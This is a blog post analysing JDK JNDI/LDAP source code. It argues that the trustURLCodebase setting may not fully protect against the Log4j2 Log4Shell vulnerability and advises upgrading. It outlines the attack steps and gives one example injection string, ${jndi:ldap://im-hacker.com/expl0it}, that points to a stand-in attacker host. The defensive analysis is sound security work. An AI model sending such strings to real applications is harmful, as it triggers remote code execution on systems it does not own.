Why trustURLCodebase may not save you from Log4j2 LDAP vulnerability (CVE-2021–44228)

Recent Log4j2 security issue (CVE-2021–44228) made me curious about the actual JDK’s javax.naming.ldap.LdapContext implementation, plus there is a claim that com.sun.jndi.ldap.object.trustURLCodebase Java system property set to false (which is by default in more recent JVMs) will prevent the injection from happening:

Updates (3 hours after posting): According to this blog post (see translation), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.

so I reviewed the naming implementation and wanted to share my findings with anyone who’s interested.

What’s wrong with Log4j2?

It has a lookup feature, that provides string interpolation capabilities for log messages and config files, e.g. you can use an expression similar to ${jndi:logging/context-name} (to make Log4j2 resolve its value and log it instead).

The root cause of the vulnerability is JNDI lookup, which, in concert with built-in JDK LDAP context implementation, makes Log4j2’s resolver able to download a custom class definition and a serialized object instance, deserialize it and, as a side-effect, execute the class’ static initializer, Externalizable.readObject method or else — effectively performing a code injection.

All attackers need to do is to:

  1. Spin up a server that returns a class definition — e.g. an HTTP one.
  2. Spin up an LDAP server that returns a URI to a class definition and a serialized object of the aforementioned class.
  3. Supply some data that will be logged directly (i.e. without any special symbols escaping) to a vulnerable app.
    E.g. there’s a microservice (well, it’s 2014+, so I don’t have much choice) that logs an HTTPS request’s query parameters via Log4j2, so an attacker sends LDAP URI similar to ${jndi:ldap://im-hacker.com/expl0it} as one of the query parameter of their request, and that does the trick — if #1 and #2 above are satisfied, that is.

How does LDAP lookup work in JDK?

In the latest (at the time of writing this article) JDK source code JNDI LDAP lookup operation eventually delegates to com.sun.jndi.ldap.LdapCtx#c_lookup, which conforms to RFC 2713 conventions of representing Java objects in LDAP. It, in turn, invokes com.sun.jndi.ldap.Obj#decodeObject (I trimmed it up a bit):

/*
* Decode an object from LDAP attribute(s).
* The object may be a Reference, or a Serialized object.
*
* See encodeObject() and encodeReference() for details on formats
* expected.
*/
static Object decodeObject(Attributes attrs)
throws NamingException {

Attribute attr;

// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
...
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}

attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
...
}

The response attribute that allows attackers to perform a code injection into a remote system is put into codebases variable above (javaCodeBase LDAP response attribute), and is handled differently in 3 cases, depending on the LDAP server’s response attributes:

  1. In case javaSerializedData attr (JAVA_ATTRIBUTES[SERIALIZED_DATA]) is present — codebases is passed to com.sun.jndi.ldap.VersionHelper#getURLClassLoader, which honors trustURLCodebase Java property (see com.sun.jndi.ldap.VersionHelper#trustURLCodebase).
  2. In case javaRemoteLocation attr (JAVA_ATTRIBUTES[CLASSNAME]) is present — com.sun.jndi.ldap.Obj#decodeRmiObject is invoked.
  3. In case objectClass attr (JAVA_ATTRIBUTES[OBJECT_CLASS]) is present — com.sun.jndi.ldap.Obj#decodeReference is invoked.

As we can see, case #1 is safe. As for the others…

Case #2

…ignores codebases argument, but the invoker — c_lookup method mentioned above — eventually delegates instance creation to javax.naming.spi.DirectoryManager#getObjectInstance and passes the whole javax.naming.directory.Attributes object to it:

Attributes attrs;
...
try {
return DirectoryManager.getObjectInstance(obj, name,
this, envprops, attrs);

} catch (NamingException e) {
...

getObjectInstance, in turn, delegates to javax.naming.spi.ObjectFactory and passes attrs along to its getObjectInstance method if it is an instance of javax.naming.spi.DirObjectFactory:

public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

ObjectFactory factory;

ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}

Having javax.naming.directory.Attributes instance “at its disposal,” a factory can easily access remote class URI returned in javaSerializedData (as well as all other response attributes) on its own, supply it to a classloader, etc. — disregarding trustURLCodebase property value completely (who can forbit it anyway? :)).

Considering the fact that factory builder can be easily overridden by javax.naming.spi.NamingManager#setObjectFactoryBuilder, and that it is an SPI interface, nothing prevents some middleware from setting up a factory that produces DirObjectFactory implementations that simply ignores com.sun.jndi.ldap.object.trustURLCodebase property.

Or their own DirObjectFactory implementation can be supplied to a compliant factory, since it’s an SPI interface as well.

Case #3

…is also questionable, since it delegates to the safe com.sun.jndi.ldap.VersionHelper#getURLClassLoader method only in case javaReferenceAddress (JAVA_ATTRIBUTES[REF_ADDR] check in com.sun.jndi.ldap.Obj#decodeReference) is present. Otherwise it returns a non-null ref reference, which eventually ends up in the same javax.naming.spi.DirectoryManager#getObjectInstance code path that was described for #2:

/*
* Restore a Reference object from several LDAP attributes
*/
private static Reference decodeReference(Attributes attrs,
String[] codebases) throws NamingException, IOException {

Attribute attr;
String className;
String factory = null;

...
Reference ref = new Reference(className, factory,
(codebases != null? codebases[0] : null));

/*
* string encoding of a RefAddr is either:
*
* #posn#<type>#<address>
* or
* #posn#<type>##<base64-encoded address>
*/
if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {

String val, posnStr, type;
char separator;
int start, sep, posn;
Base64.Decoder decoder = null;

ClassLoader cl = helper.getURLClassLoader(codebases);
...
return (ref);
}

What to do?

Most likely you should be OK, since one should be particularly unlucky to use a middleware/library that supplies such a DirObjectFactory implementation that specifically reproduces the remote code loading behavior described above; simple GitHubbing, for instance, does not reveal classes like this (of course, I did not account for using “javaCodeBase” via a constant reference, for instance, and is overall too lazy to write some sophisticated crawler at that time :)), but everything’s possible, especially considering how we, Java people, love to feed our software with tons of libraries and frameworks :)

So plain and simple: do not rely on the fact that this property is set to false in your JVM launch arguments or by default in your version of JDK — either examine the runtime to find out what DirObjectFactory is in place, or — as I’d recommend — upgrade to the latest Log4j2 and ̶b̶e̶ ̶s̶a̶f̶e̶ pray that it doesn’t have any other security issues ;)

Cheers.

Software Whatever from Kharkov, Ukraine.